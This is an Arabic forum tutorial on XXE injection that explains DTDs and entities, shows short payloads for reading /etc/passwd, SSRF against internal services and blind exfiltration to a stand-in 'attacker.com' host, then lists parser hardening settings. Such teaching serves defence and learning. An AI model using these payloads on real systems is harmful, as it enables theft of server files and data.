- بواسطة x32x01 ||
لو مهتم بـ الأمن السيبراني أو اختبار الاختراق، أكيد سمعت عن ثغرة XXE أو XML External Entity Injection 👨💻
الثغرة دي تعتبر من أخطر ثغرات Web Security لأنها ممكن تدي للمهاجم وصول لملفات حساسة أو حتى الشبكة الداخلية!
في البوست ده هنشرحها بطريقة بسيطة + أمثلة عملية تساعدك تفهمها بجد 👇
📌 النتيجة:
📌 النتيجة:
السيرفر هيقرأ ملف /etc/passwd ويرجعه للمهاجم 😱
هنا المهاجم يستخدم Out-of-Band (OOB)
📌 الفكرة:
لو بتطور تطبيقات → أمّن الـ XML Parser
لو بتتعلم Pentesting → ركّز على استغلالها عمليًا
ابدأ طبق… وهتفهم أسرع بكتير 👌
الثغرة دي تعتبر من أخطر ثغرات Web Security لأنها ممكن تدي للمهاجم وصول لملفات حساسة أو حتى الشبكة الداخلية!
في البوست ده هنشرحها بطريقة بسيطة + أمثلة عملية تساعدك تفهمها بجد 👇
ما هي ثغرة XXE؟
ببساطة، ثغرة XXE بتحصل لما:✔ التطبيق يستقبل XML Input
✔ ويعمله Parsing باستخدام XML Parser
✔ بدون Validation أو تأمين كافي
📌 هنا المهاجم يقدر يحقن XML Entities خبيثة ويتحكم في المعالجة.✔ ويعمله Parsing باستخدام XML Parser
✔ بدون Validation أو تأمين كافي
كيف تعمل XML و Entities؟
قبل ما نفهم الاستغلال، لازم نفهم حاجتين مهمين:1. ما هو DTD؟
DTD (Document Type Definition) هو ملف أو جزء داخل XML بيحدد:- شكل البيانات
- Structure بتاع XML
2. ما هي Entities؟
Entities عبارة عن متغيرات داخل XML ممكن تستدعيها داخل الكود.مثال بسيط:
HTML:
<!ENTITY hello "Hello">
<name>&hello;</name> Helloكيف يتم استغلال ثغرة XXE؟
لو التطبيق مش مأمن كويس، المهاجم يقدر يعمل Injection زي كده: Code:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data> السيرفر هيقرأ ملف /etc/passwd ويرجعه للمهاجم 😱
أشهر طرق استغلال XXE
1. قراءة ملفات السيرفر (File Disclosure)
أخطر استخدام:- قراءة ملفات النظام
- استخراج بيانات حساسة
2. تنفيذ SSRF (Server-Side Request Forgery)
المهاجم يقدر يخلي السيرفر يطلب بيانات من:- Internal APIs
- Local services
- شبكات داخلية
Code:
<!ENTITY xxe SYSTEM "http://internal-service"> 3. Blind XXE (بدون ظهور البيانات)
في بعض الحالات، البيانات مش بترجع في Responseهنا المهاجم يستخدم Out-of-Band (OOB)
📌 الفكرة:
- يبعت البيانات لسيرفر خارجي
- ويشوفها من Logs
مثال عملي:
Code:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % data SYSTEM "http://attacker.com/?x=%file;"> 4. استخدام Local DTD (حيلة متقدمة)
لو السيرفر مانع تحميل DTD خارجي:✔ المهاجم يستخدم DTD موجود على السيرفر نفسه
✔ ويعمل Override للـ Entities
📌 التقنية دي اسمها: Repurposing a Local DTD✔ ويعمل Override للـ Entities
ماذا يحدث عند نجاح الهجوم؟
لو الثغرة موجودة، المهاجم ممكن:- 📂 يقرأ ملفات حساسة
- 🌐 يوصل للشبكة الداخلية
- 🔐 يتجاوز Firewall
- 💣 ينفذ هجمات متقدمة
كيف تحمي نفسك من XXE؟
دي أهم نقطة لأي Developer أو System Admin 🔥1. تعطيل الـ DTD نهائيًا
في معظم اللغات: Code:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 2. تعطيل External Entities
Code:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); 3. استخدام Parsers آمنة
اختار مكتبات حديثة وآمنة بدل القديمة.4. التحقق من المدخلات (Input Validation)
- فلترة XML input
- منع أي أكواد مش متوقعة
5. استخدام JSON بدل XML (إن أمكن)
📌 JSON مفيهوش Entities وبالتالي بيقلل خطر XXE.أفضل طرق التعلم والتطبيق
لو عايز تتقن الموضوع:- جرب على CTFs
- حل Machines
- اقرأ Writeups
- استخدم أدوات زي:
- Burp Suite
- OWASP ZAP
الخلاصة
ثغرة XXE من أخطر ثغرات التطبيقات اللي بتتعامل مع XML لأنها:- بتسمح بقراءة ملفات السيرفر
- ممكن تؤدي لـ SSRF
- أحيانًا بتكون مخفية (Blind XXE)
لو بتطور تطبيقات → أمّن الـ XML Parser
لو بتتعلم Pentesting → ركّز على استغلالها عمليًا
نصيحة أخيرة
لو فهمت XXE كويس، هتفتح لنفسك باب كبير في Web Security & Bug Bounty 💰ابدأ طبق… وهتفهم أسرع بكتير 👌
التعديل الأخير: